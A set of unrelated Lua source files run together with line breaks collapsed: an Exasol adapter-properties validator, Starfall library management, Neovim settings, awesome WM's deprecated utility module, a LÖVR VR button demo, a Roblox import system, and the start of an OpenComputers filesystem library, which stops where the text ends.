local text = require("text") local exaerror = require("exaerror") --- This class abstracts access to the user-defined properties of the Virtual Schema. -- @type AdapterProperties local AdapterProperties = {} local EXCLUDED_CAPABILITIES_PROPERTY <const> = "EXCLUDED_CAPABILITIES" local LOG_LEVEL_PROPERTY <const> = "LOG_LEVEL" local DEBUG_ADDRESS_PROPERTY <const> = "DEBUG_ADDRESS" local DEFAULT_LOG_PORT <const> = 3000 --- Factory method for adapter properties -- @param raw_properties properties as key-value pairs -- @return adapter properties object function AdapterProperties.create(raw_properties) return AdapterProperties:new({raw_properties = raw_properties}) end --- Create a new instance of adapter properties. -- @param object pre-initialized object -- @return new instance function AdapterProperties:new (object) object = object or {raw_properties = {}} self.__index = self setmetatable(object, self) return object end --- Get the value of a property. -- @param property_name name of the property to get -- @return property value function AdapterProperties:get(property_name) return self.raw_properties[property_name] end --- Check if the property is set. -- @param property_name name of the property to check -- @return <code>true</code> if the property is set (i.e. not <code>nil</code>) function AdapterProperties:is_property_set(property_name) return self:get(property_name) ~= nil end --- Check if the property has a non-empty value. -- @param property_name name of the property to check -- @return <code>true</code> if the property has a non-empty value (i.e. not <code>nil</code> or an empty string) function AdapterProperties:has_value(property_name) local value = self:get(property_name) return value ~= nil and value ~= "" end --- Check if the property value is empty. -- @param property_name name of the property to check -- @return <code>true</code> if the property's value is empty (i.e. the property is set to an empty string) function AdapterProperties:is_empty(property_name) return self:get(property_name) == "" end function AdapterProperties:_validate_debug_address() if self:has_value(DEBUG_ADDRESS_PROPERTY) then local address = self:get(DEBUG_ADDRESS_PROPERTY) if not string.match(address, "^.-:[0-9]+$") then exaerror.create("F-VSCL-PROP-3", "Expected log address in " .. DEBUG_ADDRESS_PROPERTY .. " to look like '<ip>|<host>[:<port>]', but got {{address}} instead" , {address = address}) :add_mitigations("Provide an valid IP address or host name") :add_mitigations("Make sure host/ip and port number are separated by a colon") :add_mitigations("Optionally add a port number (default is 3000)") :add_mitigations("Don't add any whitespace characters") :raise() end end end function AdapterProperties:_validate_log_level() if self:has_value(LOG_LEVEL_PROPERTY) then local level = self:get_log_level() local allowed_levels = {"FATAL", "ERROR", "WARNING", "INFO", "CONFIG", "DEBUG", "TRACE"} local found = false for _, allowed in ipairs(allowed_levels) do if level == allowed then found = true break end end if not found then exaerror.create("F-VSCL-PROP-2", "Unknown log level {{level}} in " .. LOG_LEVEL_PROPERTY .. " property", {level = level}) :add_mitigations("Pick one of: " .. table.concat(allowed_levels, ", ")) :raise() end end end function AdapterProperties:_validate_excluded_capabilities() if self:has_value(EXCLUDED_CAPABILITIES_PROPERTY) then local value = self:get(EXCLUDED_CAPABILITIES_PROPERTY) if not string.match(value, "^[ A-Za-z0-9_,]*$") then exaerror.create("F-VSCL-PROP-1", "Invalid character(s) in " .. EXCLUDED_CAPABILITIES_PROPERTY .. " property: {{value}}", {value = value}) :add_mitigations("Use only the following characters: ASCII letter, digit, underscore, comma, space") :raise() end end end --- Validate the adapter properties. -- @raise validation error function AdapterProperties:validate() self:_validate_debug_address() self:_validate_log_level() self:_validate_excluded_capabilities() end --- Get the log level -- @return log level function AdapterProperties:get_log_level() return self:get(LOG_LEVEL_PROPERTY) end --- Check if the log level is set -- @return <code>true</code> if the log level is set function AdapterProperties:has_log_level() return self:has_value(LOG_LEVEL_PROPERTY) end --- Get the list of names of the excluded capabilities. -- @return excluded capabilities function AdapterProperties:get_excluded_capabilities() return text.split(self:get(EXCLUDED_CAPABILITIES_PROPERTY)) end --- Check if excluded capabilities are set -- @return <code>true</code> if the excluded capabilities are set function AdapterProperties:has_excluded_capabilities() return self:has_value(EXCLUDED_CAPABILITIES_PROPERTY) end --- Get the debug address (host and port) -- @return host, port or nil if the property has no value function AdapterProperties:get_debug_address() if self:has_value(DEBUG_ADDRESS_PROPERTY) then local debug_address = self:get(DEBUG_ADDRESS_PROPERTY) local colon_position = string.find(debug_address,":", 1, true) if colon_position == nil then return debug_address, DEFAULT_LOG_PORT else local host = string.sub(debug_address, 1, colon_position - 1) local port = tonumber(string.sub(debug_address, colon_position + 1)) return host, port end else return nil, nil end end --- Check if log address set -- @return <code>true</code> if the log address is set function AdapterProperties:has_debug_address() return self:has_value(DEBUG_ADDRESS_PROPERTY) end return AdapterProperties
--------------------------------------------------------------------- -- SF Global Library management --------------------------------------------------------------------- SF.Libraries = {} SF.Libraries.libraries = {} SF.Libraries.hooks = {} --- Place to store local libraries -- @name SF.Libraries.Local -- @class table SF.Libraries.Local = {} --- Creates and registers a global library. The library will be accessible from any Starfall Instance, regardless of context. -- This will automatically set __index and __metatable. -- @param name The library name function SF.Libraries.Register ( name ) local methods, metamethods = SF.Typedef( "Library: " .. name ) SF.Libraries.libraries[ name ] = metamethods SF.DefaultEnvironment[ name ] = setmetatable( {}, metamethods ) return methods, metamethods end --- Creates and registers a local library. The library must be added to the context's -- local libraries field. function SF.Libraries.RegisterLocal ( name ) local methods, metamethods = SF.Typedef( "Library: " .. name ) SF.Libraries.Local[ name ] = metamethods return methods, metamethods end --- Gets a global library by name -- @param name The name of the library -- @return A metatable proxy of the library function SF.Libraries.Get ( name ) return SF.Libraries.libraries[ name ] and setmetatable( {}, SF.Libraries.libraries[ name ] ) end --- Gets a local library by name -- @param name The name of the library -- @return The library (not a metatable proxy!) function SF.Libraries.GetLocal ( name ) return SF.Libraries.Local[ name ] end --- Creates a table for use in SF.CreateContext containing all of the -- local libraries in arr. -- @param arr Array of local libraries to load function SF.Libraries.CreateLocalTbl ( arr ) local tbl = {} for i = 1, #arr do local lib = arr[ i ] tbl[ lib ] = SF.Libraries.Local[ lib ] or SF.throw( string.format( "Requested nonexistant library '%s'", lib ), 2 ) end return tbl end --- Registers a library hook. These hooks are only available to SF libraries, -- and are called by Libraries.CallHook. -- @param hookname The name of the hook. -- @param func The function to call function SF.Libraries.AddHook ( hookname, func ) local hook = SF.Libraries.hooks[ hookname ] if not hook then hook = {} SF.Libraries.hooks[ hookname ] = hook end hook[ #hook + 1 ] = func end --- Calls a library hook. -- @param hookname The name of the hook. -- @param ... The arguments to the functions that are called. function SF.Libraries.CallHook ( hookname, ... ) local hook = SF.Libraries.hooks[ hookname ] if not hook then return end for i = 1, #hook do hook[ i ]( ... ) end end
local M = {} M.setup = function() local g = vim.g -- Disable Things g.loaded_netrw = 1 g.loaded_netrwPlugin = 1 -- Misc g.omni_sql_no_default_maps = 1 g.vimsyn_embed = 1 -- No Recommended Styles g.python_recommended_style = 0 g.rust_recommended_style = 0 end return M
local is_present_autopairs, autopairs = pcall(require, "nvim-autopairs") if not is_present_autopairs then return end autopairs.setup({})
--------------------------------------------------------------------------- --- Utility module for awful -- -- @author Julien Danjou &lt;julien@danjou.info&gt; -- @copyright 2008 Julien Danjou -- @module awful.util --------------------------------------------------------------------------- -- Grab environment we need local os = os local assert = assert local load = loadstring or load -- luacheck: globals loadstring (compatibility with Lua 5.1) local loadfile = loadfile local pairs = pairs local type = type local gtable = require("gears.table") local string = string local gstring = require("gears.string") local grect = require("gears.geometry").rectangle local gcolor = require("gears.color") local gfs = require("gears.filesystem") local capi = { awesome = awesome, mouse = mouse } local gdebug = require("gears.debug") local gmath = require("gears.math") local util = {} util.table = {} --- The default shell used when spawing processes. util.shell = os.getenv("SHELL") or "/bin/sh" --- Execute a system command and road the output. -- This function implementation **has been removed** and no longer -- do anything. Use `awful.spawn.easy_async`. -- @deprecated awful.util.pread --- Display a deprecation notice, but only once per traceback. -- @deprecated deprecate -- @param[opt] see The message to a new method / function to use. -- @tparam table args Extra arguments -- @tparam boolean args.raw Print the message as-is without the automatic -- context (but only append a leading dot). -- @tparam integer args.deprecated_in Print the message only when Awesome's -- version is equal to or greater than deprecated_in. -- @see gears.debug function util.deprecate(see, args) gdebug.deprecate("gears.debug.deprecate", {deprecated_in=5}) return gdebug.deprecate(see, args) end --- Create a class proxy with deprecation messages. -- This is useful when a class has moved somewhere else. -- @deprecated deprecate_class -- @tparam table fallback The new class -- @tparam string old_name The old class name -- @tparam string new_name The new class name -- @treturn table A proxy class. -- @see gears.debug function util.deprecate_class(fallback, old_name, new_name) gdebug.deprecate("gears.debug.deprecate_class", {deprecated_in=5}) return gdebug.deprecate_class(fallback, old_name, new_name) end --- Get a valid color for Pango markup -- @deprecated ensure_pango_color -- @param color The color. -- @tparam string fallback The color to return if the first is invalid. (default: black) -- @treturn string color if it is valid, else fallback. -- @see gears.color function util.ensure_pango_color(color, fallback) gdebug.deprecate("gears.color.ensure_pango_color", {deprecated_in=5}) return gcolor.ensure_pango_color(color, fallback) end --- Make i cycle. -- @deprecated util.cycle -- @param t A length. Must be greater than zero. -- @param i An absolute index to fit into #t. -- @return An integer in (1, t) or nil if t is less than or equal to zero. -- @see gears.math function util.cycle(t, i) gdebug.deprecate("gears.math.cycle", {deprecated_in=5}) return gmath.cycle(t, i) end --- Create a directory -- @deprecated mkdir -- @param dir The directory. -- @return mkdir return code -- @see gears.filesystem function util.mkdir(dir) gdebug.deprecate("gears.filesystem.make_directories", {deprecated_in=5}) return gfs.make_directories(dir) end --- Eval Lua code. -- @return The return value of Lua code. function util.eval(s) return assert(load(s))() end --- Escape a string from XML char. -- Useful to set raw text in textbox. -- @deprecated util.escape -- @param text Text to escape. -- @return Escape text. -- @see gears.string function util.escape(text) gdebug.deprecate("gears.string.xml_escape", {deprecated_in=5}) return gstring.xml_escape(text) end --- Unescape a string from entities. -- @deprecated util.unescape -- @param text Text to unescape. -- @return Unescaped text. -- @see gears.string function util.unescape(text) gdebug.deprecate("gears.string.xml_unescape", {deprecated_in=5}) return gstring.xml_unescape(text) end --- Check if a file is a Lua valid file. -- This is done by loading the content and compiling it with loadfile(). -- @param path The file path. -- @return A function if everything is alright, a string with the error -- otherwise. function util.checkfile(path) local f, e = loadfile(path) -- Return function if function, otherwise return error. if f then return f end return e end --- Try to restart awesome. -- It checks if the configuration file is valid, and then restart if it's ok. -- If it's not ok, the error will be returned. -- @return Never return if awesome restart, or return a string error. function util.restart() local c = util.checkfile(capi.awesome.conffile) if type(c) ~= "function" then return c end capi.awesome.restart() end --- Get the config home according to the XDG basedir specification. -- @deprecated get_xdg_config_home -- @return the config home (XDG_CONFIG_HOME) with a slash at the end. -- @see gears.filesystem function util.get_xdg_config_home() gdebug.deprecate("gears.filesystem.get_xdg_config_home", {deprecated_in=5}) return gfs.get_xdg_config_home() end --- Get the cache home according to the XDG basedir specification. -- @deprecated get_xdg_cache_home -- @return the cache home (XDG_CACHE_HOME) with a slash at the end. -- @see gears.filesystem function util.get_xdg_cache_home() gdebug.deprecate("gears.filesystem.get_xdg_cache_home", {deprecated_in=5}) return gfs.get_xdg_cache_home() end --- Get the path to the user's config dir. -- This is the directory containing the configuration file ("rc.lua"). -- @deprecated get_configuration_dir -- @return A string with the requested path with a slash at the end. -- @see gears.filesystem function util.get_configuration_dir() gdebug.deprecate("gears.filesystem.get_configuration_dir", {deprecated_in=5}) return gfs.get_configuration_dir() end --- Get the path to a directory that should be used for caching data. -- @deprecated get_cache_dir -- @return A string with the requested path with a slash at the end. -- @see gears.filesystem function util.get_cache_dir() gdebug.deprecate("gears.filesystem.get_cache_dir", {deprecated_in=5}) return gfs.get_cache_dir() end --- Get the path to the directory where themes are installed. -- @deprecated get_themes_dir -- @return A string with the requested path with a slash at the end. -- @see gears.filesystem function util.get_themes_dir() gdebug.deprecate("gears.filesystem.get_themes_dir", {deprecated_in=5}) return gfs.get_themes_dir() end --- Get the path to the directory where our icons are installed. -- @deprecated get_awesome_icon_dir -- @return A string with the requested path with a slash at the end. -- @see gears.filesystem function util.get_awesome_icon_dir() gdebug.deprecate("gears.filesystem.get_awesome_icon_dir", {deprecated_in=5}) return gfs.get_awesome_icon_dir() end --- Get the user's config or cache dir. -- It first checks XDG_CONFIG_HOME / XDG_CACHE_HOME, but then goes with the -- default paths. -- @deprecated getdir -- @param d The directory to get (either "config" or "cache"). -- @return A string containing the requested path. -- @see gears.filesystem function util.getdir(d) gdebug.deprecate("gears.filesystem.get_dir", {deprecated_in=5}) return gfs.get_dir(d) end --- Search for an icon and return the full path. -- It searches for the icon path under the given directories with respect to the -- given extensions for the icon filename. -- @param iconname The name of the icon to search for. -- @param exts Table of image extensions allowed, otherwise { 'png', gif' } -- @param dirs Table of dirs to search, otherwise { '/usr/share/pixmaps/' } -- @tparam[opt] string size The size. If this is specified, subdirectories `x` -- of the dirs are searched first. function util.geticonpath(iconname, exts, dirs, size) exts = exts or { 'png', 'gif' } dirs = dirs or { '/usr/share/pixmaps/', '/usr/share/icons/hicolor/' } local icontypes = { 'apps', 'actions', 'categories', 'emblems', 'mimetypes', 'status', 'devices', 'extras', 'places', 'stock' } for _, d in pairs(dirs) do local icon for _, e in pairs(exts) do icon = d .. iconname .. '.' .. e if gfs.file_readable(icon) then return icon end if size then for _, t in pairs(icontypes) do icon = string.format("%s%ux%u/%s/%s.%s", d, size, size, t, iconname, e) if gfs.file_readable(icon) then return icon end end end end end end --- Check if a file exists, is readable and not a directory. -- @deprecated file_readable -- @param filename The file path. -- @return True if file exists and is readable. -- @see gears.filesystem function util.file_readable(filename) gdebug.deprecate("gears.filesystem.file_readable", {deprecated_in=5}) return gfs.file_readable(filename) end --- Check if a path exists, is readable and is a directory. -- @deprecated dir_readable -- @tparam string path The directory path. -- @treturn boolean True if dir exists and is readable. -- @see gears.filesystem function util.dir_readable(path) gdebug.deprecate("gears.filesystem.dir_readable", {deprecated_in=5}) return gfs.dir_readable(path) end --- Check if a path is a directory. -- @deprecated is_dir -- @tparam string path -- @treturn bool True if path exists and is a directory. -- @see gears.filesystem function util.is_dir(path) gdebug.deprecate("gears.filesystem.is_dir", {deprecated_in=5}) return gfs.is_dir(path) end --- Return all subsets of a specific set. -- This function, giving a set, will return all subset it. -- For example, if we consider a set with value { 10, 15, 34 }, -- it will return a table containing 2^n set: -- { }, { 10 }, { 15 }, { 34 }, { 10, 15 }, { 10, 34 }, etc. -- @deprecated util.subsets -- @param set A set. -- @return A table with all subset. -- @see gears.math function util.subsets(set) gdebug.deprecate("gears.math.subsets", {deprecated_in=5}) return gmath.subsets(set) end --- Get the nearest rectangle in the given direction. Every rectangle is specified as a table -- with 'x', 'y', 'width', 'height' keys, the same as client or screen geometries. -- @deprecated awful.util.get_rectangle_in_direction -- @param dir The direction, can be either "up", "down", "left" or "right". -- @param recttbl A table of rectangle specifications. -- @param cur The current rectangle. -- @return The index for the rectangle in recttbl closer to cur in the given direction. nil if none found. -- @see gears.geometry function util.get_rectangle_in_direction(dir, recttbl, cur) gdebug.deprecate("gears.geometry.rectangle.get_in_direction", {deprecated_in=4}) return grect.get_in_direction(dir, recttbl, cur) end --- Join all tables given as parameters. -- This will iterate all tables and insert all their keys into a new table. -- @deprecated util.table.join -- @param args A list of tables to join -- @return A new table containing all keys from the arguments. -- @see gears.table function util.table.join(...) gdebug.deprecate("gears.table.join", {deprecated_in=5}) return gtable.join(...) end --- Override elements in the first table by the one in the second. -- -- Note that this method doesn't copy entries found in `__index`. -- @deprecated util.table.crush -- @tparam table t the table to be overriden -- @tparam table set the table used to override members of `t` -- @tparam[opt=false] boolean raw Use rawset (avoid the metatable) -- @treturn table t (for convenience) -- @see gears.table function util.table.crush(t, set, raw) gdebug.deprecate("gears.table.crush", {deprecated_in=5}) return gtable.crush(t, set, raw) end --- Pack all elements with an integer key into a new table -- While both lua and luajit implement __len over sparse -- table, the standard define it as an implementation -- detail. -- -- This function remove any non numeric keys from the value set -- -- @deprecated util.table.from_sparse -- @tparam table t A potentially sparse table -- @treturn table A packed table with all numeric keys -- @see gears.table function util.table.from_sparse(t) gdebug.deprecate("gears.table.from_sparse", {deprecated_in=5}) return gtable.from_sparse(t) end --- Check if a table has an item and return its key. -- @deprecated util.table.hasitem -- @param t The table. -- @param item The item to look for in values of the table. -- @return The key were the item is found, or nil if not found. -- @see gears.table function util.table.hasitem(t, item) gdebug.deprecate("gears.table.hasitem", {deprecated_in=5}) return gtable.hasitem(t, item) end --- Split a string into multiple lines -- @deprecated util.linewrap -- @param text String to wrap. -- @param width Maximum length of each line. Default: 72. -- @param indent Number of spaces added before each wrapped line. Default: 0. -- @return The string with lines wrapped to width. -- @see gears.string function util.linewrap(text, width, indent) gdebug.deprecate("gears.string.linewrap", {deprecated_in=5}) return gstring.linewrap(text, width, indent) end --- Count number of lines in a string -- @deprecated util.linecount -- @tparam string text Input string. -- @treturn int Number of lines. -- @see gears.string function util.linecount(text) gdebug.deprecate("gears.string.linecount", {deprecated_in=5}) return gstring.linecount(text) end --- Get a sorted table with all integer keys from a table -- @deprecated util.table.keys -- @param t the table for which the keys to get -- @return A table with keys -- @see gears.table function util.table.keys(t) gdebug.deprecate("gears.table.keys", {deprecated_in=5}) return gtable.keys(t) end --- Filter a tables keys for certain content types -- @deprecated util.table.keys_filter -- @param t The table to retrieve the keys for -- @param ... the types to look for -- @return A filtered table with keys -- @see gears.table function util.table.keys_filter(t, ...) gdebug.deprecate("gears.table.keys_filter", {deprecated_in=5}) return gtable.keys_filter(t, ...) end --- Reverse a table -- @deprecated util.table.reverse -- @param t the table to reverse -- @return the reversed table -- @see gears.table function util.table.reverse(t) gdebug.deprecate("gears.table.reverse", {deprecated_in=5}) return gtable.reverse(t) end --- Clone a table -- @deprecated util.table.clone -- @param t the table to clone -- @param deep Create a deep clone? (default: true) -- @return a clone of t -- @see gears.table function util.table.clone(t, deep) gdebug.deprecate("gears.table.clone", {deprecated_in=5}) return gtable.clone(t, deep) end --- -- Returns an iterator to cycle through, starting from the first element or the -- given index, all elements of a table that match a given criteria. -- -- @deprecated util.table.iterate -- @param t the table to iterate -- @param filter a function that returns true to indicate a positive match -- @param start what index to start iterating from. Default is 1 (=> start of -- the table) -- @see gears.table function util.table.iterate(t, filter, start) gdebug.deprecate("gears.table.iterate", {deprecated_in=5}) return gtable.iterate(t, filter, start) end --- Merge items from the one table to another one -- @deprecated util.table.merge -- @tparam table t the container table -- @tparam table set the mixin table -- @treturn table Return `t` for convenience -- @see gears.table function util.table.merge(t, set) gdebug.deprecate("gears.table.merge", {deprecated_in=5}) return gtable.merge(t, set) end -- Escape all special pattern-matching characters so that lua interprets them -- literally instead of as a character class. -- Source: http://stackoverflow.com/a/20778724/15690 -- @deprecated util.quote_pattern -- @see gears.string function util.quote_pattern(s) gdebug.deprecate("gears.string.quote_pattern", {deprecated_in=5}) return gstring.quote_pattern(s) end -- Generate a pattern matching expression that ignores case. -- @param s Original pattern matching expression. -- @deprecated util.query_to_pattern -- @see gears.string function util.query_to_pattern(q) gdebug.deprecate("gears.string.query_to_pattern", {deprecated_in=5}) return gstring.query_to_pattern(q) end --- Round a number to an integer. -- @deprecated util.round -- @tparam number x -- @treturn integer -- @see gears.math function util.round(x) gdebug.deprecate("gears.math.round", {deprecated_in=5}) return gmath.round(x) end return util -- vim: filetype=lua:expandtab:shiftwidth=4:tabstop=8:softtabstop=4:textwidth=80
local function raycast(rayPos, rayDir, planePos, planeDir) local dot = rayDir:dot(planeDir) if math.abs(dot) < .001 then return nil else local distance = (planePos - rayPos):dot(planeDir) / dot if distance > 0 then return rayPos + rayDir * distance else return nil end end end local button = { text = 'Please click me', textSize = .1, count = 0, position = lovr.math.newVec3(0, 1, -3), width = 1.0, height = .4, hover = false, active = false } local tips = {} function lovr.update() button.hover, button.active = false, false for i, hand in ipairs(lovr.headset.getHands()) do tips[hand] = tips[hand] or lovr.math.newVec3() -- Ray info: local rayPosition = vec3(lovr.headset.getPosition(hand)) local rayDirection = vec3(quat(lovr.headset.getOrientation(hand)):direction()) -- Call the raycast helper function to get the intersection point of the ray and the button plane local hit = raycast(rayPosition, rayDirection, button.position, vec3(0, 0, 1)) local inside = false if hit then local bx, by, bw, bh = button.position.x, button.position.y, button.width / 2, button.height / 2 inside = (hit.x > bx - bw) and (hit.x < bx + bw) and (hit.y > by - bh) and (hit.y < by + bh) end -- If the ray intersects the plane, do a bounds test to make sure the x/y position of the hit -- is inside the button, then mark the button as hover/active based on the trigger state. if inside then if lovr.headset.isDown(hand, 'trigger') then button.active = true else button.hover = true end if lovr.headset.wasReleased(hand, 'trigger') then button.count = button.count + 1 print('BOOP') end end -- Set the end position of the pointer. If the raycast produced a hit position then use that, -- otherwise extend the pointer's ray outwards by 50 meters and use it as the tip. tips[hand]:set(inside and hit or (rayPosition + rayDirection * 50)) end end function lovr.draw() -- Button background if button.active then lovr.graphics.setColor(.4, .4, .4) elseif button.hover then lovr.graphics.setColor(.2, .2, .2) else lovr.graphics.setColor(.1, .1, .1) end lovr.graphics.plane('fill', button.position, button.width, button.height) -- Button text (add a small amount to the z to put the text slightly in front of button) lovr.graphics.setColor(1, 1, 1) lovr.graphics.print(button.text, button.position + vec3(0, 0, .001), button.textSize) lovr.graphics.print('Count: ' .. button.count, button.position + vec3(0, .5, 0), .1) -- Pointers for hand, tip in pairs(tips) do local position = vec3(lovr.headset.getPosition(hand)) lovr.graphics.setColor(1, 1, 1) lovr.graphics.sphere(position, .01) if button.active then lovr.graphics.setColor(0, 1, 0) else lovr.graphics.setColor(1, 0, 0) end lovr.graphics.line(position, tip) lovr.graphics.setColor(1, 1, 1) end end
local split = string.split or function(self, delimiter) if type(self) ~= "string" then error("Expected string got " .. typeof(self)) end local result = {} local from = 1 local delim_from, delim_to = string.find(self, delimiter, from) while delim_from do table.insert(result, string.sub(self, from, delim_from - 1)) from = delim_to + 1 delim_from, delim_to = string.find(self, delimiter, from) end table.insert(result, string.sub(self, from)) return result end local RunService = game:GetService("RunService") local IS_SERVER = RunService:IsServer() local ServerScriptService = game:GetService("ServerScriptService") local ServerStorage = game:GetService("ServerStorage") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Path = require(script.Parent.Path) local modules = {} local vars = { ["local"] = IS_SERVER and ServerStorage or ReplicatedStorage, core = (IS_SERVER or __LEMUR__) and ServerScriptService:FindFirstChild("WorldEngine"), corelib = ReplicatedStorage:FindFirstChild("WorldEngine") } local function strtrim(s) return (s:gsub("^%s*(.-)%s*$", "%1")) end local function path(array, opts) if type(array) == "string" then array = Path.parse(array) end local isClient = not RunService:IsServer() opts.homePath = opts.homePath or (isClient and game:GetService("ReplicatedStorage") or game:GetService("ServerScriptService")) opts.variables = vars opts.modules = modules return Path.get(array, opts) end local MultiImport = {} MultiImport.__index = MultiImport function MultiImport:from(relativePath) local imports = {} local parent = path( split(relativePath, "/"), { relativeTo = self.relativeTo } ) for _, item in next, self.imports do local target = path(split(item, "/"), {relativeTo = parent}) if target:IsA("ModuleScript") then table.insert(imports, require(target)) else error(("[import] Invalid import: %s (%s)"):format(item, target.ClassName), 3) end end return unpack(imports) end local currentlyLoading = {} local function import_internal(value, relativeTo, overrides) local result = nil if type(value) == "table" then -- Handle multi-import return setmetatable( { imports = value, relativeTo = relativeTo, overrides = overrides }, MultiImport ) end if typeof(value) == "Instance" then -- luacheck: ignore result = require(value) elseif type(value) == "string" then local isRelativeImport = value:match("^[%.]+/") relativeTo = relativeTo or (isRelativeImport and getfenv(4).script or vars.corelib) if not relativeTo then -- luacov: disable error("Invalid relativeTo in import") -- luacov: enable end overrides = overrides or {} result = result or path( value, { homePath = overrides.homePath, relativeTo = relativeTo, findRelative = not isRelativeImport } ) local caller = getfenv(4).script or "commandBar" if typeof(result) == "Instance" then if result:IsA("ModuleScript") then if overrides.rawImport then return result else currentlyLoading[caller] = result local currentModule = result local depth = 0 while currentModule do depth = depth + 1 currentModule = currentlyLoading[currentModule] if currentModule == result then local str = currentModule.Name or "?" for _ = 1, depth do currentModule = currentlyLoading[currentModule] str = str .. " -> " .. currentModule.Name end error("Failed to import! Detected a circular dependency chain: " .. str, 2) end end result = require(result) if currentlyLoading[caller] == module then currentlyLoading[caller] = nil end return result end else error(("[import] Invalid import: %s (%s, IsA %s)"):format(value, result:GetFullName(), result.ClassName), 2) end else return result end end end local function import(value, relativeTo, overrides) if typeof(value) == "Instance" then return require(value) end if (type(value) == "string" and value:match("^([A-z0-9%.%-/@]+)$")) or type(value) == "table" then return import_internal(value, relativeTo, overrides) else local importList = {} local parts = Path.parseList(value) for _, part in next, parts do table.insert(importList, import_internal(part, relativeTo, overrides)) end return unpack(importList) end end local function load_imports(module) assert(typeof(module) == "Instance" and module:IsA("ModuleScript"), "Imports declaration should be a ModuleScript!") local extraVars = require(module) assert(typeof(extraVars) == "table") for name, value in next, extraVars do assert(typeof(value) == "Instance", name .. " is not an instance") vars[name] = value end end -- luacov: disable -- variable discovery if (IS_SERVER) then local extraServerVarsModule = ServerScriptService:FindFirstChild(".imports", true) if (extraServerVarsModule and extraServerVarsModule:IsA("ModuleScript")) then load_imports(extraServerVarsModule) end else local extraVarsModule = ReplicatedStorage:FindFirstChild(".imports", true) if (extraVarsModule and extraVarsModule:IsA("ModuleScript")) then load_imports(extraVarsModule) end end local function getModules(dir, mods) for _, modulePath in pairs(mods) do local module = path(split(strtrim(modulePath), "/"), {relativeTo = dir}) modules[module.Name] = module end end local function findModuleDeclarations(dir) for _, child in pairs(dir:GetChildren()) do if (child:IsA("StringValue") and child.Name == "modules") then getModules(child.Parent, split(child.Value, "\n")) else findModuleDeclarations(child) end end end findModuleDeclarations(ReplicatedStorage) local prototype = {} if (__LEMUR__) then function prototype.lemur(isServer) if not __LEMUR__ then error("`import.Test` can only be used by Lemur.", 2) end return function(p, r) if isServer then local value = import(p, r, {rawImport = true, homePath = ServerScriptService}) print("[Import(Server)] Test import: ", ("%s (%s)"):format(p, value and value:GetFullName() or "?")) return value, value and value:GetFullName() or "?" else local value = import(p, r, {rawImport = true}) print( "[Import(Client)] Test import: ", ("%s (%s)"):format(tostring(p), typeof(value) == "Instance" and value:GetFullName() or tostring(value)) ) return value, typeof(value) == "Instance" and value:GetFullName() or tostring(value) end end end end function prototype.shared(relativePath) return import(relativePath, ReplicatedStorage) end function prototype.library(relativePath) return import(relativePath, ReplicatedStorage:WaitForChild("WorldEngine")) end function prototype.server(relativePath) return import(relativePath, ServerScriptService) end function prototype.relative(relativePath) return import(relativePath, getfenv(2).script) end function prototype.lazy(relativePath) local ref return setmetatable( {}, { __index = function(self, index) if not ref then ref = import_internal(relativePath) end return ref[index] end } ) end function prototype.json(relativePath) local text = import(relativePath) return game:GetService("HttpService"):JSONDecode(text) end function prototype.async(relativePath, relativeTo, overrides) local Promise = require(script.Parent.Promise) return Promise.new( function(resolve, reject) Promise.spawn( function() local success, result = pcall(import, relativePath, relativeTo, overrides) if success then resolve(result) else reject(result) end end ) end ) end local function importNSVariable(self, name) local value = vars[name] if value then return function(_, relativePath) return import(relativePath, value) end else error(tostring(name) .. " is not a valid member of import.prototype", 2) end end return setmetatable( prototype, { __call = function(_, ...) return import(...) end, -- alias: import.relative __index = importNSVariable, __tostring = function() return "ImportSystem" end } ) -- luacov: enable
local fs = require("filesystem") -------------------------------------------------------------------------------- local filesystem = { SORTING_NAME = 1, SORTING_TYPE = 2, SORTING_DATE = 3, } local BUFFER_SIZE = 1024 local BOOT_PROXY local mountedProxies = {} --------------------------------------- String-related path processing ----------------------------------------- function filesystem.path(path) return path:match("^(.+%/).") or "" end function filesystem.name(path) return path:match("%/?([^%/]+%/?)$") end function filesystem.extension(path, lower) return path:match("[^%/]+(%.[^%/]+)%/?$") end function filesystem.hideExtension(path) return path:match("(.+)%..+") or path end function filesystem.isHidden(path) if path:sub(1, 1) == "." then return true end return false end function filesystem.removeSlashes(path) return path:gsub("/+", "/") end --------------------------------------- Mounted filesystem support ----------------------------------------- filesystem.get = fs.get --------------------------------------- I/O methods ----------------------------------------- local function readString(self, count) -- If current buffer content is a "part" of "count of data" we need to read if count > #self.buffer then local data, chunk = self.buffer while #data < count do chunk = self.proxy.read(self.stream, BUFFER_SIZE) if chunk then data = data .. chunk else self.position = self:seek("end", 0) -- EOF at start if data == "" then return nil -- EOF after read else return data end end end self.buffer = data:sub(count + 1, -1) chunk = data:sub(1, count) self.position = self.position + #chunk return chunk else local data = self.buffer:sub(1, count) self.buffer = self.buffer:sub(count + 1, -1) self.position = self.position + count return data end end local function readLine(self) local data = "" while true do if #self.buffer > 0 then local starting, ending = self.buffer:find("\n") if starting then local chunk = self.buffer:sub(1, starting - 1) self.buffer = self.buffer:sub(ending + 1, -1) self.position = self.position + #chunk return data .. chunk else data = data .. self.buffer end end local chunk = self.proxy.read(self.stream, BUFFER_SIZE) if chunk then self.buffer = chunk self.position = self.position + #chunk -- EOF else local data = self.buffer self.position = self:seek("end", 0) return #data > 0 and data or nil end end end local function lines(self) return function() local line = readLine(self) if line then return line else self:close() end end end local function readAll(self) local data, chunk = "" while true do chunk = self.proxy.read(self.stream, 4096) if chunk then data = data .. chunk -- EOF else self.position = self:seek("end", 0) return data end end end local function readBytes(self, count, littleEndian) if count == 1 then local data = readString(self, 1) if data then return string.byte(data) end return nil else local bytes, result = { string.byte(readString(self, count) or "\x00", 1, 8) }, 0 if littleEndian then for i = #bytes, 1, -1 do result = bit32.bor(bit32.lshift(result, 8), bytes[i]) end else for i = 1, #bytes do result = bit32.bor(bit32.lshift(result, 8), bytes[i]) end end return result end end local function readUnicodeChar(self) local byteArray = { string.byte(readString(self, 1)) } local nullBitPosition = 0 for i = 1, 7 do if bit32.band(bit32.rshift(byteArray[1], 8 - i), 0x1) == 0x0 then nullBitPosition = i break end end for i = 1, nullBitPosition - 2 do table.insert(byteArray, string.byte(readString(self, 1))) end return string.char(table.unpack(byteArray)) end local function read(self, format, ...) local formatType = type(format) if formatType == "number" then return readString(self, format) elseif formatType == "string" then format = format:gsub("^%*", "") if format == "a" then return readAll(self) elseif format == "l" then return readLine(self) elseif format == "b" then return readBytes(self, 1) elseif format == "bs" then return readBytes(self, ...) elseif format == "u" then return readUnicodeChar(self) else error("bad argument #2 ('a' (whole file), 'l' (line), 'u' 